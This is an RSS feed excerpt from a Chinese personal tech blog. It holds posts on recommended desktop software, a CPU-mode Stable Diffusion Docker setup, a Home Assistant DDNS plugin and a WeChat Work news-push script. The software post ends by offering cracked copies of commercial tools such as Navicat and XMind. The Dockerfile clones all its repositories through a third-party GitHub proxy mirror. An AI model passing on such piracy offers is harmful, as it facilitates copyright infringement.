                'SINAGLOBAL=' + sina_global + '; _s_tentry=-; ' + \
                'Apache=' + apache + '; ' + \
                'ULV=' + ulv
print(cookie_result)

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>前端技术</category>
      <pubDate>Tue, 07 Mar 2023 05:41:21 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/122.html</comments>
    </item>
    <item>
      <title>常用桌面软件</title>
      <link>https://www.baby7blog.com/myBlog/121.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1677134239577721679" width="800"&gt;&lt;br&gt;
&lt;h1&gt;常用桌面软件&lt;/h1&gt;


&lt;p&gt;推荐的是稍微冷门点的工具，主要宗旨就是软件尽量少广告，没标下载的可以下方留邮箱说明你要哪个&lt;/p&gt;

&lt;h1&gt;灵卡面板&lt;/h1&gt;
&lt;p&gt;Windows桌面端软件，摸鱼办公神器&lt;/p&gt;
&lt;p&gt;拥有多种卡片自定义布局，隐藏到侧边需要使用时弹出(可以鼠标或快捷键唤出)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;主卡片包含：快捷键截图OCR翻译、AI对话、待办事项、热搜、音乐、小说 等功能&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;小卡片包含：LCD时钟、日历、天气、喝水记录、今天吃什么、电子木鱼、倒数日、圆盘时钟、英语单词、自定义图片、工作日、灵感提示词、时间进度条、搜索、古诗词、电脑监控、答案之书、一言 等多种卡片，且在持续增加中。。。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;近期工具箱模块新增：这班值不值得上、中国家庭称谓计算器、笔记本电池健康曲线、中国房贷计算器、BMI计算器 等功能&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;官网：&lt;a href="https://www.agiletiles.com/"&gt;https://www.agiletiles.com/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;思源笔记&lt;/h1&gt;
&lt;p&gt;开源的笔记软件，推荐docker部署，然后定期备份&lt;/p&gt;
&lt;p&gt;里面基本所有能用到的工具都有了markdown，drawio，Excalidraw，脑图，IFrame，还能通过插件直接发布到博客园什么的&lt;/p&gt;
&lt;p&gt;源码: &lt;a href="https://gitee.com/siyuan-note/siyuan"&gt;https://gitee.com/siyuan-note/siyuan&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;dockerhub: &lt;a href="https://hub.docker.com/r/b3log/siyuan"&gt;https://hub.docker.com/r/b3log/siyuan&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;搜索和工具：uTools + everything&lt;/h1&gt;
&lt;p&gt;everyting是个搜索文件极其快的工具，奈何颜值不高，高颜值的utools可以调用前者进行搜索，另外uTools本身也有很多工具，插件市场里面很多说不完，靠你自己搜索了&lt;/p&gt;
&lt;p&gt;用的时候没广告&lt;/p&gt;
&lt;p&gt;utools地址: &lt;a href="https://www.u.tools/"&gt;https://www.u.tools/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;桌面壁纸：Wallpaper Engine&lt;/h1&gt;
&lt;p&gt;没的说，动态桌面yyds，配合创意工坊无敌&lt;/p&gt;
&lt;p&gt;下载：在steam中购买&lt;/p&gt;
&lt;h1&gt;全局截图识别翻译：天若ocr&lt;/h1&gt;
&lt;p&gt;全局进行截图识别翻译什么的，可以花59买个终身版，我是以前买的，忘了买的时候多少钱了&lt;/p&gt;
&lt;p&gt;地址: &lt;a href="http://ocr.tianruo.net/"&gt;http://ocr.tianruo.net/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;剪贴板软件：Ditto&lt;/h1&gt;
&lt;p&gt;剪贴板，可以设置永久存剪贴板记录，Ctrl+`即可调出，还有个CopyQ也不错（其实uTools有个挺好的剪贴板工具，颜值也高，但是要付费）&lt;/p&gt;
&lt;p&gt;可以直接在微软应用商店安装&lt;/p&gt;
&lt;p&gt;可以从github处安装: &lt;a href="https://github.com/sabrogden/Ditto"&gt;https://github.com/sabrogden/Ditto&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;任务栏监控软件：TrafficMonitor和XMeters&lt;/h1&gt;
&lt;p&gt;TrafficMonitor支持Win10和Win11，其实还有个XMeters更好看但是不支持win11&lt;/p&gt;
&lt;p&gt;TrafficMonitor的 github源码: &lt;a href="https://github.com/zhongyang219/TrafficMonitor"&gt;https://github.com/zhongyang219/TrafficMonitor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;TrafficMonitor的 gitee源码: &lt;a href="https://gitee.com/zhongyang219/TrafficMonitor"&gt;https://gitee.com/zhongyang219/TrafficMonitor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;XMeters：&lt;a href="https://entropy6.com/xmeters/download/"&gt;https://entropy6.com/xmeters/download/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;音乐播放器：foobar2000&lt;/h1&gt;
&lt;p&gt;专业的开源音乐播放器，附带专辑的各种操作，不过需要本地存音乐，可以装各种好看的皮肤主题，对我来说最重要的是没广告，我自用的是1.5.1，想要皮肤的在下方留下邮箱&lt;/p&gt;
&lt;p&gt;官网: &lt;a href="https://www.foobar2000.org/"&gt;https://www.foobar2000.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;v1.5.1下载地址: &lt;a href="https://www.foobar2000.org/getfile/foobar2000_v1.5.1.exe"&gt;https://www.foobar2000.org/getfile/foobar2000_v1.5.1.exe&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;LX Music(洛雪音乐)&lt;/h1&gt;
&lt;p&gt;多端开源音乐播放器，而且可以使用网易、酷狗、酷我、腾讯的源，无损也可以直接拉过来，然后可以自建播放列表
还可以建立一个服务器，然后其他使用客户端模式来做同步修改，类似账号的功能
获取源我看到还可以加载js脚本来跑，所以理论上这个播放器可以永久存在，出了问题可以及时换js脚本来换源&lt;/p&gt;
&lt;p&gt;官网:&lt;a href="https://lxmusic.toside.cn/"&gt;https://lxmusic.toside.cn/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;搭配六音源使用:&lt;a href="https://github.com/OneCodeMonkey/music-sources"&gt;https://github.com/OneCodeMonkey/music-sources&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;网易邮箱大师&lt;/h1&gt;
&lt;p&gt;对所有邮箱统一接收，qq 微软 企业邮箱什么的都可以&lt;/p&gt;
&lt;p&gt;这个有广告，但是比较少还算能接收，主要也没找到别的能替代的（这个稍微漂亮点）&lt;/p&gt;
&lt;p&gt;地址: &lt;a href="https://dashi.163.com/"&gt;https://dashi.163.com/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;远程连接：MobaXterm&lt;/h1&gt;
&lt;p&gt;ssh ftp telnet rdp shell 各种远程连接，免费版支持11个连接&lt;/p&gt;
&lt;p&gt;地址: &lt;a href="https://mobaxterm.mobatek.net/"&gt;https://mobaxterm.mobatek.net/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;Jetbrains程序批量管理：Toolbox App&lt;/h1&gt;
&lt;p&gt;jetbrains程序批量管理的&lt;/p&gt;
&lt;p&gt;地址: &lt;a href="https://www.jetbrains.com/toolbox-app/"&gt;https://www.jetbrains.com/toolbox-app/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;快速预览：QuickLook&lt;/h1&gt;
&lt;p&gt;按空格快速查看图片文档表格视频什么的&lt;/p&gt;
&lt;p&gt;源码和下载: &lt;a href="https://github.com/QL-Win/QuickLook"&gt;https://github.com/QL-Win/QuickLook&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;视频播放器：PotPlayer&lt;/h1&gt;
&lt;p&gt;强大的开源视频播放器，也能播放ts或者在线视频流&lt;/p&gt;
&lt;p&gt;地址: &lt;a href="http://potplayer.tv/"&gt;http://potplayer.tv/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;网盘挂载：AirLiveDrive&lt;/h1&gt;
&lt;p&gt;磁盘挂载软件，同类型的有NetDrive和RaiDrive，但是AriLiveDrive没有广告（RaiDrive有）而且可以后台启动（NetDrive为前台）&lt;/p&gt;
&lt;p&gt;地址: &lt;a href="https://www.airlivedrive.com/en/"&gt;https://www.airlivedrive.com/en/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;蓝奏云盘三方客户端&lt;/h1&gt;
&lt;p&gt;源码和下载：&lt;a href="https://github.com/chenhb23/lanzouyun-disk"&gt;https://github.com/chenhb23/lanzouyun-disk&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;相对官网功能更强大&lt;/p&gt;
&lt;h1&gt;打通多台电脑：Mouse without Borders&lt;/h1&gt;
&lt;p&gt;微软无界鼠标，多台win电脑摆在一起，然后可以基本无延时的进行鼠标穿梭，并且可以带上键盘，而且可以进行文件传输
(仅限win电脑之间)&lt;/p&gt;
&lt;p&gt;下载: &lt;a href="https://www.microsoft.com/en-us/download/details.aspx?id=35460"&gt;https://www.microsoft.com/en-us/download/details.aspx?id=35460&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;程序员的瑞士军刀：DevToys&lt;/h1&gt;
&lt;p&gt;1.微软商店（微软商店可直接下载）：&lt;a href="https://www.microsoft.com/store/productId/9PGCV4V3BK4W"&gt;https://www.microsoft.com/store/productId/9PGCV4V3BK4W&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2.GitHub（开源地址）：&lt;a href="https://github.com/veler/DevToys"&gt;https://github.com/veler/DevToys&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;3.软件官网（支持官网下载）：&lt;a href="https://devtoys.app/"&gt;https://devtoys.app/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;RSS阅读器：Fluent Reader&lt;/h1&gt;
&lt;p&gt;这里放一些RSS订阅源，如果是用&lt;a href="https://www.discuz.vip/"&gt;Discuz&lt;/a&gt;****构建的论坛，在后面加?mod=rss就可以了&lt;/p&gt;
&lt;p&gt;另外有个聚合的hub: &lt;a href="https://docs.rsshub.app/"&gt;https://docs.rsshub.app/&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;七仔的博客(夹杂私货嘿嘿):
https://www.baby7blog.com/feed
美团技术团队:
https://tech.meituan.com/feed/
Chiphell:
https://www.chiphell.com/forum.php?mod=rss
恩山无线论坛:
https://www.right.com.cn/forum/?mod=rss
瀚思彼岸论坛:
https://bbs.hassbian.com/forum.php?mod=rss
小众软件:
https://feeds.appinn.com/appinns/
奇客:
https://www.solidot.org/index.rss
少数派:
https://sspai.com/feed
技术小黑屋:
https://droidyue.com/atom.xml
果壳网:
http://newzone.top/rss.php?type=guokr
知乎每日精选:
http://www.zhihu.com/rss
机核:
https://www.gcores.com/rss
游研社:
http://www.yystv.cn/rss/feed
果核剥壳:
https://www.ghxi.com/feed
36氪:
https://36kr.com/feed
豆瓣最受欢迎的书评:
https://www.douban.com/feed/review/book
潮流周刊:
https://weekly.tw93.fun/rss.xml
月光博客:
https://www.williamlong.info/rss.xml
博客园:
https://feed.cnblogs.com/blog/sitehome/rss
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下载: &lt;a href="https://apps.microsoft.com/store/detail/fluent-%E9%98%85%E8%AF%BB%E5%99%A8/9P71FC94LRH8?hl=zh-cn&amp;amp;gl=cn"&gt;https://apps.microsoft.com/store/detail/fluent-%E9%98%85%E8%AF%BB%E5%99%A8/9P71FC94LRH8?hl=zh-cn&amp;amp;gl=cn&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;其他小工具&lt;/h1&gt;

&lt;p&gt;五福扫福集福（吾爱 by  ouding：&lt;a href="https://www.52pojie.cn/thread-1734686-1-1.html"&gt;https://www.52pojie.cn/thread-1734686-1-1.html&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;扭蛋机（吾爱 by 天真.：&lt;a href="https://www.52pojie.cn/thread-1625119-1-1.html"&gt;https://www.52pojie.cn/thread-1625119-1-1.html&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;生成山水画（github：&lt;a href="https://github.com/LingDong-/shan-shui-inf"&gt;https://github.com/LingDong-/shan-shui-inf&lt;/a&gt;   在线体验：&lt;a href="http://shan-shui-inf.lingdong.works/"&gt;http://shan-shui-inf.lingdong.works/&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;Bongo Cat （就是直播经常能看到的按键盘的小猫 源码和下载: &lt;a href="https://github.com/kuroni/bongocat-osu"&gt;https://github.com/kuroni/bongocat-osu&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;网易ncm转flac（网易下载的部分音乐是ncm格式，不能直接用别的播放，这个工具可以转换成flac或者mp3（根据音乐质量自动选择））&lt;/p&gt;
&lt;p&gt;弹幕视频播放器（存了我还没用过，好像是根据视频搜索弹幕）&lt;/p&gt;
&lt;p&gt;Git动画录制（录屏一块区域，最后出来gif）&lt;/p&gt;
&lt;p&gt;SpaceSniffer（磁盘空间分析）&lt;/p&gt;
&lt;p&gt;SoftCnKiller（流氓软件查杀）&lt;/p&gt;
&lt;p&gt;LogoDiy（设置开机Logo）&lt;/p&gt;
&lt;p&gt;Dism++（系统优化，垃圾清理）&lt;/p&gt;
&lt;p&gt;电脑照片查重工具&lt;/p&gt;
&lt;p&gt;Wifi密码查看器&lt;/p&gt;

&lt;h1&gt;破解小工具&lt;/h1&gt;
&lt;p&gt;需要的留下邮箱&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Bandizip v7.20 （压缩软件）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;XMind 2021 v11.1.0 （思维导图）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Swf2video pro（swf转视频）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MobaXterm v22.1 （远程连接）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Navicat v15 （数据库连接）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>分享</category>
      <pubDate>Thu, 23 Feb 2023 06:37:22 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/121.html</comments>
    </item>
    <item>
      <title>基于Docker安装的Stable Diffusion使用CPU进行AI绘画</title>
      <link>https://www.baby7blog.com/myBlog/120.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1666576799247675233" width="800"&gt;&lt;br&gt;
&lt;h1&gt;基于Docker安装的Stable Diffusion使用CPU进行AI绘画&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;由于博主的电脑是为了敲代码考虑买的，所以专门买的高U低显，i9配核显，用Stable Diffusion进行AI绘画的话倒是专门有个CPU模式，不过安装过程经历了许多坎坷，特此记录一下&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;博主的环境是Windows 11附带的WSL2中安装的Ubuntu 20.04 LTS,安装的Stable Diffusion Docker版本为2.1.0&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;安装条件&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;安装Docker&lt;/li&gt;
&lt;li&gt;安装DockerCompose&lt;/li&gt;
&lt;li&gt;会Docker（博主说的比较粗略，不建议没有docker经验的按本博客进行）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;一、下载代码&lt;/h2&gt;
&lt;p&gt;地址：https://github.com/AbdBarho/stable-diffusion-webui-docker/archive/refs/tags/2.1.0.zip&lt;/p&gt;
&lt;p&gt;解压到你需要的路径&lt;/p&gt;
&lt;h2&gt;二、修改路径&lt;/h2&gt;
&lt;p&gt;wsl2对应windows的路径如:   D:/soft   --&amp;gt;   /mnt/d/soft&lt;/p&gt;
&lt;p&gt;在你上个解压的文件里面的docker-compose.yml中更改路径&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-code"&gt;例如build: ./services/download/

改为

build: /mnt/d/wsl/stable-diffusion-webui/stable-diffusion-webui-docker-2.1.0/services/download/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;三、构建下载&lt;/h2&gt;
&lt;p&gt;命令为&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker compose --profile download up --build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;四、构建镜像&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;主要的坑也是这里了，需要修改service/AUTOMATIC1111/Dockerfile，修改为下方代码&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;博主删除了不必要的xformers(必须要google drive，而且开了代理也不行,cpu模式不需要这个东西)，然后对git加了代理，然后修改了git的配置&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Dockerfile"&gt;# syntax=docker/dockerfile:1

FROM alpine/git:2.36.2 as download

SHELL [&amp;quot;/bin/sh&amp;quot;, &amp;quot;-ceuxo&amp;quot;, &amp;quot;pipefail&amp;quot;]

RUN git config --global http.version HTTP/1.1

RUN git config --global http.postBuffer 524288000
RUN git config --global https.postBuffer 524288000
RUN git config --global core.compression -1

RUN git clone https://github.91chi.fun/https://github.com/salesforce/BLIP.git repositories/BLIP &amp;amp;&amp;amp; cd repositories/BLIP &amp;amp;&amp;amp; git reset --hard 48211a1594f1321b00f14c9f7a5b4813144b2fb9

RUN git clone https://github.91chi.fun/https://github.com/sczhou/CodeFormer.git repositories/CodeFormer &amp;amp;&amp;amp; cd repositories/CodeFormer &amp;amp;&amp;amp; git reset --hard c5b4593074ba6214284d6acd5f1719b6c5d739af

RUN git clone https://github.91chi.fun/https://github.com/CompVis/stable-diffusion.git repositories/stable-diffusion &amp;amp;&amp;amp; cd repositories/stable-diffusion &amp;amp;&amp;amp; git reset --hard 69ae4b35e0a0f6ee1af8bb9a5d0016ccb27e36dc


RUN &amp;lt;&amp;lt;EOF
# because taming-transformers is huge
git config --global http.postBuffer 1048576000
git clone https://github.91chi.fun/https://github.com/CompVis/taming-transformers.git repositories/taming-transformers
cd repositories/taming-transformers
git reset --hard 24268930bf1dce879235a7fddd0b2355b84d7ea6
rm -rf data assets
EOF

RUN git clone https://github.91chi.fun/https://github.com/crowsonkb/k-diffusion.git repositories/k-diffusion &amp;amp;&amp;amp; cd repositories/k-diffusion &amp;amp;&amp;amp; git reset --hard f4e99857772fc3a126ba886aadf795a332774878

FROM python:3.10-slim

SHELL [&amp;quot;/bin/bash&amp;quot;, &amp;quot;-ceuxo&amp;quot;, &amp;quot;pipefail&amp;quot;]

ENV DEBIAN_FRONTEND=noninteractive PIP_PREFER_BINARY=1 PIP_NO_CACHE_DIR=1

RUN pip install torch==1.12.1+cu113 torchvision==0.13.1+cu113 --extra-index-url https://download.pytorch.org/whl/cu113

RUN apt-get update &amp;amp;&amp;amp; apt install fonts-dejavu-core rsync git -y &amp;amp;&amp;amp; apt-get clean


RUN &amp;lt;&amp;lt;EOF
git clone https://github.91chi.fun/https://github.com/AUTOMATIC1111/stable-diffusion-webui.git
cd stable-diffusion-webui
git reset --hard 1eb588cbf19924333b88beaa1ac0041904966640
pip install -r requirements_versions.txt
EOF

ENV ROOT=/stable-diffusion-webui \
  WORKDIR=/stable-diffusion-webui/repositories/stable-diffusion


COPY --from=download /git/ ${ROOT}
RUN pip install --prefer-binary --no-cache-dir -r ${ROOT}/repositories/CodeFormer/requirements.txt

# TODO: move to top
RUN apt-get install jq moreutils -y


# Note: don't update the sha of previous versions because the install will take forever
# instead, update the repo state in a later step

ARG SHA=36a0ba357ab0742c3c4a28437b68fb29a235afbe
RUN &amp;lt;&amp;lt;EOF
cd stable-diffusion-webui
git pull --rebase
git reset --hard ${SHA}
pip install --prefer-binary --no-cache-dir -r requirements_versions.txt
EOF

RUN pip install --prefer-binary --no-cache-dir opencv-python-headless \
  git+https://github.91chi.fun/https://github.com/TencentARC/GFPGAN.git@8d2447a2d918f8eba5a4a01463fd48e45126a379 \
  git+https://github.91chi.fun/https://github.com/openai/CLIP.git@d50d76daa670286dd6cacf3bcd80b5e4823fc8e1 \
  pyngrok

COPY . /docker
RUN &amp;lt;&amp;lt;EOF
chmod +x /docker/mount.sh &amp;amp;&amp;amp; python3 /docker/info.py ${ROOT}/modules/ui.py
EOF


ENV CLI_ARGS=&amp;quot;&amp;quot;
WORKDIR ${WORKDIR}
EXPOSE 7860
# run, -u to not buffer stdout / stderr
CMD /docker/mount.sh &amp;amp;&amp;amp; \
  python3 -u ../../webui.py --listen --port 7860 --ckpt-dir ${ROOT}/models/Stable-diffusion ${CLI_ARGS}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="2"&gt;
&lt;li&gt;修改以后运行&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-sh"&gt;docker compose --profile auto-cpu up --build
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;结果&lt;/h2&gt;
&lt;p&gt;放下测试的结果（一个奇奇怪怪的小猫）&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/StableDiffusion/ai_cat.png" alt="AI绘画小猫" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/StableDiffusion/cat.png" alt="AI绘画的小猫" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/StableDiffusion/ai_draw.png" alt="AI绘画的风景" /&gt;&lt;/p&gt;</description>
      <category>人工智能</category>
      <pubDate>Fri, 21 Oct 2022 08:40:10 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/120.html</comments>
    </item>
    <item>
      <title>HomeAssistant的阿里云域名DDNS插件</title>
      <link>https://www.baby7blog.com/myBlog/119.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1666253900826291028" width="800"&gt;&lt;br&gt;
&lt;h1&gt;HomeAssistant的阿里云域名DDNS插件&lt;/h1&gt;

&lt;p&gt;HomeAssistant的阿里云域名DDNS插件，仅用于阿里云的域名解析，在公网改变后自动修改域名DNS&lt;/p&gt;
&lt;p&gt;插件代码已开源，地址：https://github.com/baby7/ha_auto_ali_dns&lt;/p&gt;
&lt;p&gt;配置文件格式：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-yml"&gt;sensor:
  - platform: ha_auto_ali_dns
    access_key_id: xxxxxxxxxxxxx
    access_key_secret: xxxxxxxxxxxxxxxx
    record_id: xxxxxxxxxxxxx
    type: A
    rr: xxxxxx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心代码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;&amp;quot;&amp;quot;&amp;quot;
Support for ha auto ali dns
# Author:
    baby7
# Created:
    2021-11-23
&amp;quot;&amp;quot;&amp;quot;
import sys
import logging
from homeassistant.const import (CONF_NAME)
from homeassistant.helpers.entity import Entity
import homeassistant.helpers.config_validation as cv
import voluptuous as vol
from homeassistant.components.sensor import PLATFORM_SCHEMA
import requests
from .alidns import AliDNS

_Log = logging.getLogger(__name__)

DEFAULT_NAME = 'ha_auto_ali_dns'
ACCESS_KEY_ID = 'access_key_id'
ACCESS_KEY_SECRET = 'access_key_secret'
RECOED_ID = 'record_id'
TYPE = 'type'
RR = 'rr'

PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
    vol.Required(ACCESS_KEY_ID): cv.string,
    vol.Required(ACCESS_KEY_SECRET): cv.string,
    vol.Required(RECOED_ID): cv.string,
    vol.Required(TYPE): cv.string,
    vol.Required(RR): cv.string,
    vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
})


def setup_platform(hass, config, add_devices, discovery_info=None):
    access_key_id = config.get(ACCESS_KEY_ID)
    access_key_secret = config.get(ACCESS_KEY_SECRET)
    record_id = config.get(RECOED_ID)
    type = config.get(TYPE)
    rr = config.get(RR)
    sensor_name = config.get(CONF_NAME)
    add_devices([AutoAliDNS(&amp;quot;ali_dns_&amp;quot; + sensor_name, access_key_id, access_key_secret, record_id, type, rr)])


def get_ip(i):
    try:
        ip_url = &amp;quot;&amp;quot;
        if i == 1:
            ip_url = &amp;quot;https://api.ipify.org&amp;quot;
        elif i == 2:
            ip_url = &amp;quot;https://api.ip.sb/ip&amp;quot;
        elif i == 3:
            ip_url = &amp;quot;http://ip.3322.net&amp;quot;
        elif i == 4:
            ip_url = &amp;quot;http://ip.qaros.com&amp;quot;
        elif i == 5:
            ip_url = &amp;quot;http://ident.me&amp;quot;
        else:
            ip_url = &amp;quot;http://icanhazip.com&amp;quot;
        return str(requests.get(url=ip_url, timeout=3).text).replace(&amp;quot;\n&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;\r&amp;quot;, &amp;quot;&amp;quot;)
    except requests.exceptions.RequestException as e:
        print(e)
    return None


class AutoAliDNS(Entity):

    .........

    def update(self):
        self.index += 1
        if self.index == 7:
            self.index = 1
        public_ip = get_ip(self.index)
        if public_ip is None or len(public_ip) &amp;gt; 15:
            print(&amp;quot;获取公网IP超时或失败,等待下次重试&amp;quot;)
            return
        self._state = public_ip
        try:
            dns_ip = AliDNS.get_dns_info(self.access_key_id, self.access_key_secret, self.record_id)
            if public_ip != dns_ip:
                AliDNS.main(self.access_key_id, self.access_key_secret, self.record_id, public_ip, self.type, self.rr)
                print(&amp;quot;成功修改解析，记录为的&amp;quot; + self.record_id + &amp;quot;域名解析从&amp;quot; + str(dns_ip) + &amp;quot;修改为&amp;quot; + str(public_ip))
        except ConnectionError:
            print(&amp;quot;记录为的&amp;quot; + self.record_id + &amp;quot;域名解析连接错误...&amp;quot;)
        except:
            _Log.error(&amp;quot;记录为的&amp;quot; + self.record_id + &amp;quot;域名解析发生为止错误...:&amp;quot;, sys.exc_info()[0])
        finally:
            self._state = public_ip

&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Nas</category>
      <pubDate>Thu, 20 Oct 2022 08:20:45 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/119.html</comments>
    </item>
    <item>
      <title>企业微信应用每天60秒读懂世界</title>
      <link>https://www.baby7blog.com/myBlog/118.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1666251032936717828" width="800"&gt;&lt;br&gt;
&lt;h1&gt;企业微信应用每天60秒读懂世界&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一个简单的python3脚本，可以在服务用crond执行，或者使用宝塔面板做定时，执行一次发送一个每天60秒读懂世界的图片&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;需要企业微信，然后新建应用，获取到corpid(企业ID)、agentid(企业应用ID)、corpsecret(应用的凭证密钥)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;脚本基于运小站的每天60秒读懂世界API，链接:http://bjb.yunwj.top/php/api/html.html&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果因为该API失效导致脚本不可再用，我会第一时间修复，需要使用脚本的可以收藏我的博客地址或者添加我的微信或qq&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;脚本内容如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import logging
import requests
import json
import time


# http://bjb.yunwj.top/php/api/html.html  # 接口文档地址
class CompanyWeixin:
    __corp_id = 'xxxxxx'  # 企业ID
    __agent_id = 100001 # 企业应用ID（自己创建企业应用的ID）
    __corp_secret = 'xxxxxxxxxxxx'  # 应用的凭证密钥，此处应用（企业自己创建的应用）：消息推送
    __access_token = ''  # 访问应用的临时凭证
    __expires_in = 0  # 访问应用的临时凭证的有效时间（秒）

    headers = {
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
        'Cache-Control': 'no-cache',
        'Connection': 'keep-alive',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Pragma': 'no-cache',
        'User-Agent': 'self-defind-user-agent',
        'Cookie': 'name=self-define-cookies-in header',
        'X-Requested-With': 'XMLHttpRequest'
    }

    @staticmethod
    def send_post(url: str, json_data: dict):
        try:
            res = requests.post(url=url, data=json.dumps(json_data), headers=CompanyWeixin.headers)
            return json.loads(res.content.decode(&amp;quot;utf-8&amp;quot;).encode(&amp;quot;utf-8&amp;quot;))
        except Exception as e:
            logging.info('[send_get]Failed to json.load, {0}'.format(e))
            return {}

    @staticmethod
    def send_get(url: str):
        try:
            res = requests.get(url=url)
            return json.loads(res.content.decode(&amp;quot;utf-8&amp;quot;).encode(&amp;quot;utf-8&amp;quot;))
        except Exception as e:
            logging.info('[send_get]Failed to json.load, {0}'.format(e))
            return {}

    def get_access_token(self):
        url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid={0}&amp;amp;corpsecret={1}'. \
            format(CompanyWeixin.__corp_id, CompanyWeixin.__corp_secret)
        result = CompanyWeixin.send_get(url)
        self.__access_token = result['access_token']
        return result

    def upload_file(self, file_name):
        try:
            url = 'https://qyapi.weixin.qq.com/cgi-bin/media/upload?access_token={0}&amp;amp;type=image'. \
                format(self.__access_token)
            files = {&amp;quot;pic&amp;quot;: (file_name, open(file_name, &amp;quot;rb&amp;quot;), &amp;quot;images/jpg&amp;quot;)}
            return requests.post(url=url, files=files).json()
        except Exception as e:
            logging.info('[send_get]Failed to json.load, {0}'.format(e))
            return {}

    def send_img(self, media_id, touser: str = '@all'):
        url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token={0}'. \
            format(self.__access_token)
        data = {
            &amp;quot;touser&amp;quot;: touser,
            &amp;quot;msgtype&amp;quot;: &amp;quot;image&amp;quot;,
            &amp;quot;agentid&amp;quot;: CompanyWeixin.__agent_id,
            &amp;quot;image&amp;quot;: {
                &amp;quot;media_id&amp;quot;: media_id
            },
